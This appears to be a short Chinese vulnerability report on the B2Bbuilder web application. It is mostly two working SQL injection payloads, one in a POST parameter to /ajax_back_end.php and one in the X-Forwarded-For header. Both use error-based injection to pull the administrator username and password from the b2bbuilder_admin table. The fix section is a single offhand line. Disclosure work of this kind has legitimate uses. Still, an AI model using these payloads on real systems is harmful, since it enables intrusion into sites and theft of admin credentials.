B2Bbuilder虽然安全性低，但是也不能放弃治疗啊~

详细说明：

由响应中心来通报应该好一点，直接给出EXP吧

0x1 /ajax_back_end.php

POST：catid=1 and (select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

漏洞证明：

0x2 http头注入 X-Forwarded-For

X-Forwarded-For: 1.1.1.1',(select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),1,1)#

然后直接访问index.php，爆密码

修复方案：

注入的常规修复呗